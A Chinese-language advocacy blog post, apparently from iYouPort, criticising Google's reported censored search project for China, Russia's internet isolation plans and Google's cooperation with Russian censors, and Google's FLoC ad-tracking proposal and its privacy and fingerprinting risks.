当一丘之貉互相批驳的时候，不过是因为利益没谈妥，于是您不必期待其中哪只貉能咬死另一只，因为那相当于撕毁它自己的根基

这次不同。我花了几个小时的时间思考的问题并不是“这篇文章最好的写法是什么”，而是，“我究竟要不要写”。

准确说是：要不要继续重复早已被不断重复过的事实。我已经有段时间没有写文章了，我告诉自己因为太忙，没有精力，这不假，但不是全部原因，只有我知道自己不停地在心里衡量付出的价值。

我的写作曾导致一家欧洲媒体在中国的合作伙伴被抄家，当局认为我们的网站是“反动媒体”，由此“连累”一个大好的平台逐渐衰落。但我继续写，在没有任何稿酬的情况下，该平台从多人合作变成了只有我一个人在继续写。因为我感觉到了价值，越来越多的中国朋友从我们的作品中了解到了知识，甚至有读者留言说，“你们的文章很精彩，和普通的中文互联网文章截然不同”。

我欣慰于此。而不是稿酬，或者所谓的“十万加”。我们从来没有、也不会追求耀眼的点击量，我们在乎的是知识的传播所带来的价值。

我们的价值观能在这篇文章中体现《"//关于为什么不需要十万加//"》

以上并没有跑题。因为我发现，这一追求颇具难度，远远超过“十万加”和“竞争力稿酬”，即便这两者我从来都不需要。

以下是我们对读者的具体问题的更详细回应。Twitter 的字数限制真的很难说清楚一个道理。这些问题实际上充分提现了上述追求的难度。

为什么当事双方均拒绝评论？

昨天，The Intercept 发表了一篇调查，根据谷歌知情员工提供的内部文件，因为这些要求匿名接受采访的员工对谷歌和政权审查制度的配合颇感困惑。报道中显示，这些文件被谷歌标记为“机密”，只有极少数员工了解。

为什么如此神秘？报道中也有解释，因为在 2006 年至 2010 年间，谷歌在中国曾经维持过一个审查版的搜索引擎。当时，该公司在遵守中国政府政策方面遭到了严厉的批评，国会听证会上，众议院国际关系委员会成员称谷歌成了“中国政府的工作人员”，并指责其参与审查制度的行为“令人憎恶”。

正是因为舆论抨击令该公司难以招架了，2010 年3月，谷歌才宣布将其搜索服务撤出中国。这次该公司以同样的方式卷土重来，自然不希望高调，至少在完成之前。我们提醒了注意这一细节，它与很多为谷歌献花的中国网友的认知有着明显差异。

而中国方面又为什么要掩饰呢？有读者提醒我们，中国当局立刻称美国独立媒体的报道“不实”。其实道理很简单，因为当下中国和美国的关系正处于所谓的贸易战的对峙中，如果在此时放出中国接受谷歌审查版的消息，也就是接受最大的硅谷巨头，将注定被解读为“北京政权屈服于华盛顿了”，或者干脆是“特朗普政府赢了”。

北京肯定不希望被如此评论，所谓的贸易战争执的不过是一个“服不服”的脸面，不论是接受谷歌，还是暗中给特朗普女儿的公司的利益输送，中国当局都不希望被大众知晓，他们需要保留一个“我不服”的公共形象，就像特朗普的“America first”，中国当局给其控制的媒体的定调是“China first”。

这就是为什么中国外交部和谷歌均拒绝 The Intercept 的置评请求。也是为什么此前 Facebook 在中国的子公司没能拿到执照。但不确定是否真的“没能拿到”，但公开的消息必需这样写，当然也不确定将来会有什么变化。

「图」

「图」

为什么说该消息本身并不重要？

谷歌从来都不是没有审查的自由搜索。即便在美国使用 Google，照

样会出现“出于法律要求，部分搜索结果被省略”，这样的文字。正相反它有着很多跟踪，其中对地理位置的跟踪不仅用来定位广告、以及为情报部门和警方提供线索，还会匹配该地区的法律和政府要求，以进行内容过滤。

而中国用户之所以认为谷歌最好，不过是由于与之比较的是百度，而不是独立的无审查的开源自由软件。现在谷歌要把自己变成和百度一样的服从于共产党政府之审查要求的搜索引擎，作为硅谷最大的霸主之一，这种屈服至少从审美层面也足够惊人了。更何况就发生在华盛顿采取所谓的贸易战的当口上。

但 The Intercept 的报道显示，所谓的贸易战显然不是大众从主流媒体的新闻中所领会到的那般火爆和针锋相对，因为就在上个月，谷歌的搜索引擎主管 Ben Gomes 在一次会议上告诉其员工，他们必须准备好在短时间内推出中文搜索应用程序，因为有可能“世界突然发生变化，也许[唐纳德·特朗普总统]决定他的新朋友是习近平。“

如果您知道谷歌在华盛顿的政治游说团体有多么的强大，就不会怀疑 **Ben Gomes** 对其员工做出的指示，它绝对是有原因的。和微软一样，谷歌对华盛顿心思的了解超过几乎所有驻白宫新闻记者，该公司从来不会拿自身利益开玩笑。

然而这恰恰不是中国当局所希望被公开的。当下的北京政权之根基是民族主义，其反美是必需的态度。

一直以来中国政府的反美只是战略。苏联解体使共产主义意识形态失去了信仰群体，中国突然要面对一个失去意义的世界，因此民族主义倾向作为意识形态替补品就变得对当局越来越有实用性。89年天安门屠杀后使当局不得不重新寻找新的权力杠杆。为了平衡独裁统治和修补被摧毁的“改革新形象”，修复政治合法性，当局加紧寻找意识形态替代品；同时，为了打破天安门流血事件后西方社会所强加的孤立，中国政府实行积极外交政策，试图扩大外交联盟圈子，采用与法、德等欧洲国家联盟反对美国的策略。

于是，不论如何，中国当局也会将一切解释为自身的胜利、基于民族主义立场的胜利，而不是“服软”。

表面上中国当局并不需要硅谷巨头，他们拥有很多拷贝美国技术的本土公司，包括并不限于 BAT，还有大大小小的监视技术公司（您可以在这篇文章中看到他们中的一部分）其基本模式均来自模拟美国的“创新”。

这就是为什么世界上只有中国能建立 GFW 将国际流行应用和媒体网站隔离在外，因为中国人即便没有谷歌也有看起来很相似的百度，没有 Facebook 但有腾讯，没有 YouTube 但有抖音，没有纽约时报洛杉矶时报华盛顿邮报，但有大大小小的基于严格筛选消息的搬运工。没有其他国家能做到这点，包括俄罗斯，克里姆林宫一直羡慕中国的 GFW，据其官员称中国的网络管制范式是俄罗斯当局重点考虑的模式之一，但他们却一直做不到。因为他们无法在封锁一切的同时打造“本土拷贝”。封锁将严重影响经济利益。

中国不仅有拷贝的能力，还有输出的能力，也就是我们在多年前警告的“"反转 GFW"”，将全球使用微信、支付宝等中国产品的用户的数据所有权均归中国公司。由此实现与美国“均分”全球数据的格局。

但中国没有美国的三大优势，即：1、与其他国家相比，美国拥有更丰厚的情报预算；2、互联网的物理线路布局导致世界上许多网络通路、甚至是两个国家之间的网络通路都跨越美国边界；3、大多数世界上最大最流行的硬件软件和互联网服务公司都位于美国境内，并遵从美国的法律规定。这就确立了美国在互联网世界的霸主地位……要想与美国均分天下，中国就需要更多的努力，或者说更无耻。这就是为什么北京高调宣传“互联网＋”，也是为什么花大力捧红了 BAT。现在北京已经意识到了数据权力正在令他们亲手栽培起来的本土巨头逐渐凌驾于现实政治之上，于是他们开始要求“入股1%”，鼓励“本土上市”。

目前北京正在对本国的监视技术公司注入血本，无疑下一步就是鼓励这些公司将技术输出全球。一方面与西方国家长期以来的监视技术的售出竞争市场，另一方面也是根本性目的就是民族主义，与美国的分权。中国已经成功地将其制作的监视摄像头安装在了伦敦的大街小巷上，利用了英国脱欧的经济焦虑。

然而近期另一则报道透露，中国的监视技术似乎没有其官方宣传得那么威力无穷，例如，一位负责监控技术的中国主要人工智能创业公司高管说，由于技术限制，其平台无法一次性搜索超过1000人。Megvii 的 Face ＋＋ 平台自2016年创建，现在中国众多警察部门已经开始使用，并且用该技术逮捕了 4,000人，但这些平台存在严重的技术限制。即使所有中国人都被面部扫描上传到了该系统，也无法识别每个人。虽然 Face ＋＋ 算法的准确度超过 97%，但它一次只能搜索有限数量的脸。也就是说，无法针对极大型群体事件。

而大型群体事件是北京政权最为警惕的目标，也是其大规模铺设监控系统的关键目的之一。谷歌可以做到帮助中国政府的监控能力大幅升

级，但条件肯定是赚钱。

要赚到值得该公司欣然无视五角大楼合同的数目。如果技术能力可靠，北京政权肯定愿意支付这笔钱，但前提必需是：一不得声张——中国用美国技术很没面子；二必需和中国公司建立“合资”关系—— 否则北京不放心。恰好前者很对谷歌胃口，该公司自然不希望声张，而后者据报道已经搞定。

这是个互利关系。谷歌基于追踪（数据收集）的监视资本主义盈利模式正在受到严重的挑战，这里是基于具体数据的分析的，正因为全球互联网公民的隐私保护意识正在大幅提升。相比下最没有隐私意识的国家就是中国了，并且该国拥有全球最大的互联网用户市场，对谷歌来说简直是一块顶天立地的肥肉。

与此同时，谷歌在美国的订单正在陷入麻烦。就如月前的新闻热点所显示的那样，谷歌内部一群工程师联合起来抵制公司与五角大楼的合作，拒绝为基于无人机轰炸—也就是杀人—的工具，提供技术支持。

当时 iyouport 表示了对谷歌员工的支持，我们认为反抗来自内部比来自外部（人权组织和公民社会团体）效果更为直接，内外联合可使效应加倍。事实显示，至少表面上看起来，谷歌已经缓和了此前明目张胆地与军方合作的态度，该项目暂时搁置。然而这不是故事的结局。

就在 The Intercept 报道的前一天，中国人非常熟知的美国议员 Marco Rubio 先生坦承：谷歌、还有其他美国公司正在帮助中国监控。 iyouport 在编译这则消息是添加了三篇文章的“关联”，试图说明“公私监控伙伴关系”并不是新鲜事，来自民主国家的监控技术一直在帮助压迫性国家维稳社会。

延伸阅读：《"//解密文件：科技产业巨头为什么能成为巨头？//"》《"//调查报告：是谁在提供先进的监控技术协助压迫性政府对人权的侵犯？//"》《"//可视化数据：全球监控行业—— 谁是大哥？谁在作恶？//"》《"//公私监控伙伴关系的历史与当下//"》

暂且不议美国官方为什么到这会儿才承认这件事，但这其中的相关性是非常明显的：中国没有斯诺登，没有公民社会保护老百姓，没有社会运动可以抵制来自政权和大公司的恶行，于是谷歌能够顺利在中国拿到订单，不论订单意味着什么，而不是在美国需要偷偷摸摸以避免被独立组织调查和问责。于是显然，该公司立刻就不屑五角大楼了（不确定该公司是否真的放弃了为五角大楼服务，狼从来不会嫌肉太

多吃不完）。

如果您有所怀疑，那么就看看中国“媒体”上那些对监视技术公司及其监视社会能力的宣传吧，不说铺天盖地，也足够令人眼花缭乱了。就在前日，作为高科技公司密集和监控技术位居全国/全球前列的城市，北京公布的 2018 年度科学技术奖初审结果，再次让人有机会一窥中国的互联网审查和监控技术，许多被列入的项目显然与审查和监视有着密切关系。您可以在这里看到重点部分的介绍。

为什么会这样？这正是中国和美国的一大显著区别，即：一个明目张胆地宣传，另一个暗中违宪。于是后者可以通过揭露—— 也就是 Wikileaks 和 Snowden 的功劳—— 引起公民社会和广大选民的重视，对政权施加压力，有可能得以制约。但前者不一样，它宣传的目的之一半只是为了引发社会的恐惧（另一半是炫耀自身所谓的实力）。这个国家深知人民的恐惧对权力稳固的有效性，不论那些技术被鼓吹得多么高不可攀，也没有人会去实地调查它的真伪，没有人会反抗，只有加倍的自我审查。就算那些被宣传的技术并不存在，政权的目的也已经达到了。

总之，谷歌搜索的审查版并不是谷歌在中国的全部利益所在，它只是一小小部分，当然该公司也不会太过在乎与百度的竞争谁输谁赢（几乎肯定会谷歌赢，后面具体说为什么）谷歌只是把搜索引擎当成了步入中国市场的敲门砖，其瞄准的是全球最大的监视技术市场。

「图」

「图」

消息本身不重要又为什么要“快讯”？

编译这篇报道是希望能有更多中国用户认识到谷歌的真面目，或者说所有数字极权的真面目。尤其是关于谷歌当年为什么离开中国的真相，以及如今又为什么回来。

事实上，早在一周之前我们就从欧洲方面听到了这一消息，不是媒体渠道，于是没有很多调查采访。现在 The Intercept 实现了确认。我认为该消息是一个令中国用户了解谷歌的好机会。

如果没有剑桥公司丑闻，Facebook 在全球人心目中、尤其是小国用户的心目中，仍然至高无上，几乎就等于互联网本身（比如缅甸、危地马拉等）。但即便有了剑桥公司丑闻，很多中国用户依然视

Facebook 为自由美好的模版，尤其是那些至今都不会翻墙的人。这是源于北京政府的恶意愚蠢。

谷歌和 Facebook 的区别是什么？没有任何实质性区别，完全不是人们看起来的那样“一个曾经主动离开中国，一个拼命想进入中国”。他们都是数字极权，以监视收集为基本盈利模式的不透明寡头，审查和监控就是他们的主要工作。

有读者问，“中国的 BAT 没有这么做，是不是技术能力不足？” 没人能肯定 BAT “没有这么做”，他们也没有理由不做。不过是由于中国没有 Snowden，没有民间权利组织和独立媒体披露数据滥用的真相，人们只知道不论自己在任何地方说了任何话，都有可能引来警方上门。但是没有证据能表明 BAT 协助当局维稳的深入程度，没有真相。

我们多次推荐过《 When Google Met Wikileaks 》这本书，这本多年前出版的书是第一个深度揭示谷歌究竟是什么角色的作品。但至今都没有中译本，今后也不会有。如上所述，您应该明白为什么了。当一丘之貉互相批驳的时候，不过是因为利益没谈妥，于是您不必期待其中哪只貉能咬死另一只，因为那相当于撕毁它自己的根基。

我曾经不停对西方朋友解释，为什么很多中国人不希望谷歌、Facebook 等巨头进入中国，因为那将意味着这些美国公司屈服于中国政府的审查，意味着中国的不熟悉去中心化替代产品的互联网用户，将找不到落脚之处。这看起来有悖于互联网自由的主旨，但它是合逻辑的，因为只要共产党还执政，这一状况就不会改变。

加之中国社会有着广泛的对外国产品的热衷，于是，谷歌进入中国将几乎不会输给百度，至少是均分市场。但这并不是关键。

谷歌的审查版搜索引擎最终究竟能不能进入中国，其实都无关紧要，**The Intercept** 这篇报道确认的是谷歌在着手制作这样一件产品，而不是说它百分百能进入中国。但这两者是同一个本性，即作恶。谷歌不会砸钱在一个无法被使用的东西上，该公司必然获得了基本可靠的信息以证明这一审查版工具能够变成全球最大监视市场的敲门砖。

我们早前的文章多次阐述了监视资本主义的性质，以及作为其鼻祖的谷歌的本性。没有谷歌就没有百度，如果互联网从一开始就以开源自由为基本理念，也不会有今天的高堡奇人故事。当然，这是不可能的，谷歌并没有“变坏”，而是如期发展的结果。

延伸阅读：具体解释在这里《"//互联网究竟是什么？//"》《"//我们可以如何扭转这一恐怖局面？//"》

格局差异引发沟通困难

就如文章开头所述，我们从来没有追求点击量和广泛的理解，因为我们了解，在如此多年深入的恶意愚蠢熏染之下，中国社会已经有着严重的格局障碍—— 提到谷歌只能想到百度、提到反抗只能想到吐槽和举牌，等等。（如果您问“除了举牌还能干什么？”请参见 #透明度革命 标签下的系列文章）

但这也正是我们希望能坚持下去的原因，直到化解当权者的恶意愚蠢的残留。届时我们将继续进步。

当下我们与中国思想市场的整体存在着明显的格局差异：我们追求的是反对一切审查和监控，不论它来自哪里，简单说就是，我们支持"#deleteFacebook"，与此同时反对中国封锁 **Facebook**，这毫无矛盾，不论审查监控来自政权还是大公司，对广大公民来说都是同样的侵犯性。

作为互联网自由权利捍卫者，我们会用互联网思考，在互联网格局下寻求公平正义，而不是地缘政治格局。相反我们提醒警惕地缘政治格局的狭隘，地缘政治游戏是权力的游戏，其中没有普通公民的利益。

不否认有些时候会让人看起来似乎存在利益，比如有些中国用户声明支持谷歌进入中国，意思是打破百度的垄断，但事实上并不是这样。就你所知，在一党专制的格局下期待换个君主掌权，是毫无意义的，同样道理，在数字极权的格局下期待换一个巨头能改变什么，也不可能做到。更何况，建立在合资基础上的谷歌进入中国并不影响百度的利益，谷歌的目标也肯定不是停留在小小的搜索引擎上。

有读者回复：“中国人被中国政府监控好呢，还是被美国政府监控好？毫无疑问”。这一思路是曾经颇为流行的侥幸心理，即只要摆脱 BAT 拥抱硅谷巨头，就能安全可靠了。这么想一点不奇怪，美国互联网用户在大规模监控被曝光后也这么认为，他们去购买俄罗斯生产的 VPN，因为可以肯定美国和俄罗斯没有情报共享。民间权利组织就警告说，不信任本国的情报机构是对的，但不能换一个情报机构去信任，这么做非常傻，不会获得自由。

更不用说，现在我们完全有能力摆脱数字极权，这个世界已经不是 FATBAG（Facebook Amazon Tencent Baidu Alibaba Google）的绝

对霸权了。二十年来开源自由软件不断进步，更有近年来飞速发展的去中心技术，已经有很多替代品能帮你摆脱谷歌和百度，为什么不呢？

延伸阅读：人们对巨头企业的无条件信任正在被巨头企业利用《"//为什么说欧洲新法规反而会加强 Facebook 和Google 的霸权？//"》《"//安全手册：这里是你需要的几乎所有安全上网工具；以及为什么建议不要使用以美国为基地的网络服务//"》

- ○ ■ ■ ■ ■ 多年来我们一直在反驳“谷歌回归”的传闻，如果您对 pao-pao.net 早年的文章有印象的话会知道，每一次反驳都是有充分理由的。但这次不同，我们在副标题上就注明了“这次是真的”，原因如上所述。谷歌的计划最终是否能成功，或者以什么途径成功，则是另一码事。

我之所以会花很长时间考虑是否应该写这篇文章，是因为这近八千字中所有观点和信息，曾经都有发布，也就是说没有任何新的内容。但为什么还是存在如此多的疑问？不过是说明曾经的很多文章都没能获得广泛的影响。

其实不奇怪，如果您是博客写手，或者运营一个新闻账户就能理解这点，您需要对回复者不断重申的唯一一句话就是“链接中有”。社交媒体发布链接的点击率是非常低的，人们往往通过不超过100字的按语来认识链接中的内容。对于一篇复杂的文章来说，几乎不可能做到片语概述，于是在互联网上写复杂的长文很吃亏，通过社交媒体分享长文效果很差。

我们曾经嘲笑很多知识分子几十年来不断重复同一个观点、同一套逻辑，但我们自己也难以避免的需要重复。本文就是彻头彻尾的重复。不管您是否喜欢，总之，互联网自由需要更多人的努力，更多人的清醒、充分的自我保护意识和对技术的熟知，希望您能从我们的博客和新闻编译中获得需要的价值。

原文

俄式蜻蜓 - iYouPort

关于谷歌-监视资本主义的创始人协助暴政的家伙们

俄罗斯已经和谷歌达成协议，每天执行封锁更新的被禁网站列表。据报道谷歌已经从其搜索结果中删除了被俄罗斯审查的大约70%的网站链接。简单说就是，俄罗斯人能用谷歌，但是他们搜不到被当局禁止的内容。这是比中国的蜻蜓计划更可怕且一直存在的审查制度。

俄罗斯参议员 Andrey Klishas 提出了互联网隔离计划，作为对现有俄罗斯通信法的修正案。他的修正案将要求在俄罗斯运营的所有在线服务安装专门的设备，使他们能够更有效地阻止被俄罗斯政府禁止的网站。

该技术一旦实现必将使俄罗斯彻底独立于全球网络的其他部分。Klishas 和他的共同提案者为该法案辩护，理由是这样做将提高俄罗斯抵御外部网络攻击的能力。

虽然该法案在俄罗斯政府内得到了可靠的支持，但当它们承诺俄罗斯的互联网可能被孤立而没有任何额外的资金分配时，这就是个问题了。该法案近期已经在国家杜马进行了第一次审阅，政府对该法案的评论就这一说法提出了异议。

Klishas 回应说，“[俄罗斯]预算法已经包括了可用于实现法案中提出的措施的资金—即 建立公共在线网络监控和指导中心。”在接受采访时 Klishas 解释说，“政府已经批准的信息安全法案，包括为本提案提供的资金—— 超过200亿卢布[3.028亿美元]。”

然而，国际文传电讯社 指出，在俄罗斯的预算中，三年内只分配了18亿卢布（2720万美元）用于建立这个监控中心。

那么到底是18亿还是200亿？

两个都是。先从分配用于“公共在线网络监控和指导中心的建立和运行”的18亿卢布开始。这条线索可以在俄罗斯2019–2021年的三年预

算中找到，该预算得到了国家杜马的批准。尽管如此，应该指出的是，该中心不是为了 Klishas 提出的互联网隔离项目而建立的，而是为了协调俄罗斯政府审查机构 Roskomnadzor 的法规（就像中国的网信办）。

所有这一切，创建该中心的决定实际上是在一年多前制定的，远在 Klishas 的法案首次出台之前。事实上，该中心是俄罗斯政府于2017年12月批准所谓“信息安全法”的一部分。Klishas 说，政府在2018–2020年期间为该计划拨出200亿卢布是正确的。

问题在于，当200亿卢布计划获得批准时，实际上只有4.91亿卢布（740万美元），而不是18亿，被分配给了监控中心。即使在该法案的原始版本中也没有这笔资金。

那么这意味着俄罗斯确实有资金来隔离其互联网吗？

没有。监控中心的18亿卢布还是200亿分配给信息安全的更广泛的内容都不会涵盖 Andrey Klishas 想要在他的法案中实现的目标。政府对该提案的评论指出了三个需要额外资金的领域：在线流量控制设备；监控中心在隔离项目中的作用；研讨会，以帮助互联网服务提供商脱离全球互联网。

尽管“信息安全法”确实提到了中心和研讨会，但它并未包括完全隔离俄罗斯互联网的资金。它的目标只是到2024年将通过国外网络的俄罗斯互联网流量的比例降低到10%。Klishas 的法案的共同提案者 Lyudmila Bokova 支持他的论点，即他们提案的资金将来自信息安全法案和“Roskomnadzor 的内部资源。”Bokova 还承认，她不知道该提案的费用是多少，并暗示该问题可能要等待杜马二审。

从整体接受来看，杜马很可能会批准这项提议。但是，该法案所需的资金数额仍然无法确定。俄罗斯政府已经指出该法案的提案方没有为他们的计划提供任何形式的财政支持。国家审计员在他们自己的评论中补充说：“这个项目的实现将导致俄罗斯市场上的商品和服务价格上涨，这可能会增加政府各级预算支出。”

克里姆林宫任命的一个专家委员会在一个月前就 Klishas 的法案给出了自己的费用估算。他们的声明表明，隔离俄罗斯的互联网计划可以预先支付250亿卢布（超过3.78亿美元），每年额外增加1340亿卢布（超过20亿美元），以补偿互联网服务提供商增加的运营成本。

此外，就在最近，商业新闻媒体 Vedomosti 报道称，谷歌已与俄罗斯

审查机构达成协议，通过删除俄罗斯禁止的网站，以此维持谷歌继续在该国开展业务。

俄罗斯政府审查机构 Roskomnadzor 维护着一个可能不在俄罗斯境内分发的网站黑名单，但谷歌是少数几个不订阅该注册表的搜索引擎之一。然而，谷歌经常删除 Roskomnadzor 禁止的搜索结果中的链接，Roskomnadzor 和谷歌的消息来源都这样告诉 Vedomosti。

在2018年12月，Roskomnadzor 因拒绝订阅黑名单而向 Google 收取500,000卢布（7,590美元）的罚款。谷歌没有质疑该审查机构的决定，并选择了支付罚款。但这并不能阻止 Roskomnadzor 继续威胁要在俄罗斯境内阻止Google。

Vedomosti 报道称，谷歌现已与该机构达成协议，每天都会收到更新的被禁网站列表，然后再根据其他研究删除这些网站的部分链接。据报道，谷歌已经从其搜索结果中删除了被俄罗斯审查的大约70%的网站链接。

简单说就是，俄罗斯人能用谷歌，但是他们搜不到被当局禁止的内容。这是比中国的蜻蜓计划更可怕且一直存在的审查制度。

Russian Senator Andrey Klishas has proposed the Internet isolation plan as an amendment to an existing Russian communications law. The Russian government is planning to isolate the country's Internet to facilitate censorship and security measures. How is this going to work? & Google agrees on cooperation with Russian censors

原文

别傻了，谷歌永远不会给你隐私 - iyouport

关于谷歌-监视资本主义的创始人

当兔子被抵制到玩不下去的时候，他们从同一顶帽子里拉出一只鸭子

第三方 cookie 正在死亡，然而，谷歌正试图创建的只是其替代品。

没有人应该为我们所知道的 cookie 的死亡而哀悼。二十多年来，第三方**cookie**一直是网络上一个阴暗、肮脏、价值数十亿美元的监控行业的支柱；逐步淘汰跟踪 cookie 和其他持久性的第三方身份标识是早就应该的。然而，随着广告行业基础设施的转变，其最大的参与者决心“峰回路转”。

谷歌正带头用一套新的技术来取代第三方 cookie，以便继续在网络上进行定位追踪。而谷歌的一些建议表明，它并没有从监视资本主义商业模式被持续反击的战斗中吸取任何正确的教训。本文将聚焦于其中一项提案，即：联合学习（FLoC），这可能是最雄心勃勃的，也可能是最有害的。

FLoC 旨在成为一种新的方式，让您的浏览器去做第三方跟踪器过去自己做的剖析：在这种情况下，将您最近的浏览活动归纳成一个行为标签，然后与网站和广告商分享。该技术将避免第三方cookie的隐私风险，但是，它会在这个过程中创造新的风险。它还可能会加剧行为定位广告的许多最严重的问题，包括歧视和掠夺性的定位。

谷歌对隐私倡导者的宣传是，一个拥有FLoC（和其他所谓的“隐私沙盒”元素）的世界将比我们今天的世界“更好”，“不会有数据经纪人和广告技术巨头可以肆无忌惮地跟踪和描述”。但是，这种框架是基于一个错误的前提，即：我们必须在“旧的追踪”和“新的追踪”之间做出选择。我们不应该做这样的选择。与其重新发明追踪轮子，我们应该想象一个没有定向广告引发的无数问题的更好的世界。

我们正站在一个岔路口。身后是第三方cookie的时代，也许是网络最大的错误；在我们前面的是两种可能的未来。

其一，用户可以完全自己决定与他们选择互动的每个网站分享什么信息；没有人需要担心当您下一次打开一个标签页时，过去的浏览记录会对您不利，或者被用来操纵您。

另一种情况是，每个用户的行为作为一个标签从一个网站到另一个网站，一目了然，但对知情者来说，却有着丰富的意义。他们最近的历史记录，被提炼成多个片段，并与参与每个网页服务的几十个神秘角色分享。用户在每一次互动时，都会以告白开始："这是我本周的全部行为，请相应地对待我"。

用户和倡导者必须拒绝 **FLoC** 和其他重塑行为定位的错误尝试。呼吁谷歌放弃**FLoC**，并将其努力转向建立一个真正方便用户的网络。

什么是**FLoC**？

「图」

2019年，谷歌提出了所谓的隐私沙盒概念，声称是对未来网络隐私的"愿景"。该项目的中心是一套无cookie的协议，尤其是旨在满足目前第三方cookie为广告商提供的无数用例。谷歌将其建议提交给了网络标准制定机构W3C，在那里，这些建议主要在网络广告业务组中进行了讨论，该机构主要由广告技术供应商组成。

在这几个月的时间里，谷歌和其他广告商已经提出了几十项以鸟类为主题的技术标
准： PIGIN, TURTLEDOVE, SPARROW, SWAN, SPURFOWL, PELICAN, PAR
认真地说，每一个 "鸟" 的提案都是为了实现定向广告生态系统中的一个功能，而这个功能目前是由**Cookie**来完成的。

FLoC 旨在帮助广告商在没有第三方cookies的情况下继续进行行为跟踪定位。启用FLoC的浏览器会收集用户的浏览习惯信息，然后使用这些信息将用户分配到一个 "群组"或 "队列" 里。具有类似浏览习惯的用户将被归入同一群组。每个用户的浏览器将与网站和广告商共享一个群组/队列ID，表明他们属于哪个群体。根据该提案，至少有几千名用户应该属于某个群组/队列（尽管这不是确定的）。

如果这听起来很密集，可以这样想：您的 **FLoC ID** 就像您最近在网络上的所有活动的简明摘要。

谷歌的概念证明了使用每个用户访问的网站的域名作为将人们分组的基础；然后，它使用一种名为 SimHash 的算法来创建分组。

SimHash 可以在每个用户的机器上本地计算，所以不需要中央服务器来收集行为数据。但是，中央管理员可以在执行隐私保证方面发挥作用。为了防止任何一个群组太小（即 太具有可识别性），谷歌建议中央管理员可以统计分配给每个群组的用户数量。如果任何一个群组太小，它们可以与其他类似的群组合并，直到每个群组有足够的用户。

根据该提案，大部分的具体内容还没有定论。规范草案指出，用户的群组ID将通过 Javascript 提供，但目前还不清楚是否会对谁能访问它有任何限制，或者是否会以任何其他方式共享ID。

FLoC 还可以基于URL或页面内容而不是域来执行聚类；它也可以使用基于联合学习的系统（正如FLoC的名字所暗示的那样）来代替 SimHash 生成组。目前也不清楚到底会有多少个可能的组。谷歌的实验中使用了8位的组群标识符，这意味着只有256个可能的群组。但是在实践中，这个数字可能会更高；文档中建议使用由4个十六进制字符组成的16位 cohort ID。群组越多，就越具体；更长的 **cohort ID** 意味着广告商可以了解更多关于每个用户的具体兴趣，并更容易对每个人进行指纹识别。

有一件事是指定的，那就是持续时间。FLoC 群组将每周重新计算一次，每次都使用前一周的浏览数据。这使得FLoC群组作为长期身份标识的作用不大，但是，也使其成为衡量用户在一段时间内行为方式的更有力的措施。

新的隐私问题

「图」

FLoC 是想要将监视资本主义的基础设施 即 行为监控定位广告，包装成 “隐私保护未来” 的一部分，完全可想而知，其核心设计继续涉及与广告商分享监视用户的数据。它只是在制造新的隐私风险。

1、指纹跟踪

「图」

第一个问题是指纹跟踪。浏览器指纹是指从用户的浏览器中收集许多离散的信息，为该浏览器创建一个独特的、稳定的身份标识。EFF的 Cover Your Tracks 项目展示了这一过程是如何运作的：简而言之，您的浏览器与他人的浏览器在外观或行为上的不同之处越多，就越容易留下独特的可识别性指纹。

谷歌已经承诺，绝大多数FLoC群组将由数千名用户组成，因此仅凭一个群组ID不应该将你与其他几千名像你一样的人区分开。但是，这仍然给了指纹识别者一个巨大的先机。如果追踪者从您的**FLoC**群组开始，它只需要将您的浏览器与其他几千人（而不是几亿人）区分开。从信息理论的角度来看，FLoC群组将包含几个比特的熵，在谷歌的概念验证试验中，高达8比特。考虑到这些信息不太可能与浏览器暴露的其他信息相关联，这些信息的效力就更大了 —— 这将使追踪者更容易为**FLoC**用户组合出一个独特的指纹。

谷歌已经承认这是一个挑战，但承诺将解决这个问题作为其长期处理指纹问题的更广泛的 “隐私预算” 计划的一部分。听起来挺好听的，但根据其 “常见问题” 栏目，该计划是 “早期阶段的建议，还没有浏览器实践” 。与此同时，谷歌已经开始测试FLoC。

指纹追踪是出了名的难以阻止。像**Safari**和**Tor**这样的浏览器已经对追踪者进行了长达数年的消耗战，只为了减少指纹追踪的攻击面，牺牲了自己的大片功能集。缓解指纹追踪一般必需涉及修剪掉或限制不必要的熵源—— 也就是FLoC。在想好如何处理现有的指纹追踪风险之前，谷歌不应该制造新的指纹追踪风险。

2、跨语境接触

「图」

第二个问题不太容易解释，大致可以描述为：该技术将与已经可以识别用户的追踪者分享新的个人数据。为了让FLoC对广告商有用，用户的群组必然会透露他们的行为信息。

该项目的Github页面在前面提到了这个问题：

这个*API*将个人的一般浏览历史记录（以及一般兴趣）的一些信息民主化，让任何选择加入的网站都能获得。…… 知道一个人的个人身份信息的网站（例如，当人们使用自己的电子邮件地址登录时）可以记录和揭示目标用户的群组同伴。这意味着有关个人兴趣的信息最终可能会被公开。

如上所述，FLoC 群组本身不应作为身份标识使用。然而，任何能够以其他方式识别用户的公司—— 例如，通过向互联网上的网站提供 “用谷歌账户登录” 服务—— 都能够把从FLoC中了解到的信息与用户的个人资料联系起来。

有两类信息可能以这种方式暴露出来：

A 关于浏览历史的具体信息。追踪者可以逆向设计群组分配算法，以确定属于特定群组的用户可能或肯定访问过特定的网站。

B 关于人口学或兴趣的一般信息。观察者可能会了解到，一般来说，特定群组的成员实质上很可能是某一特定类型的人。例如，一个特定的群组可能会有过多的年轻人、女性和黑人用户；另一个群组是中年共和党选民；第三个群组是LGBTQ＋青年。

这意味着您所访问的每个网站在第一次接触时都能很好地了解您是什么样的人，而不需要在整个网络上跟踪您。此外，由于您的FLoC群组会随着时间的推移而更新，能够以其他方式识别您的网站也将能够跟踪您的浏览变化。请记住，**FLoC**群组不过是您近期浏览活动的总结。

📌 您应该有权在不同的情况下展示您身份的不同方面。如果您访问一个网站获取医疗信息，可能会信任它了解关于您的健康信息，但是，没有理由让它知道您的政治立场；同样，如果您访问一个零售网站，它不应该需要知道您最近是否阅读了抑郁症的治疗方法。FLoC则侵蚀了这种背景分离，而是向每一个与您互动的人呈现关于您的相同的全部行为总结。

超越“隐私”

「图」

- 这非常重要《以隐私为目的的斗争如何让你变成了监视的盟友》

FLoC 声称旨在防止一种非常具体的威胁，即 今天由跨语境身份标识促成的那种个性化特征分析。FLoC和其他提案的目标是避免让追踪者获取他们可以与特定人联系起来的特定信息。但是，正如我们所展示的那样，F**LoC**实际上只会在许多情况下*帮助追踪者*，而不是阻止追踪。即使谷歌能够对其设计进行更新并防止这些风险，定位广告的危害也并不仅仅限于侵犯隐私。FLoC的核心目标与其他公民自由声称完全矛盾。

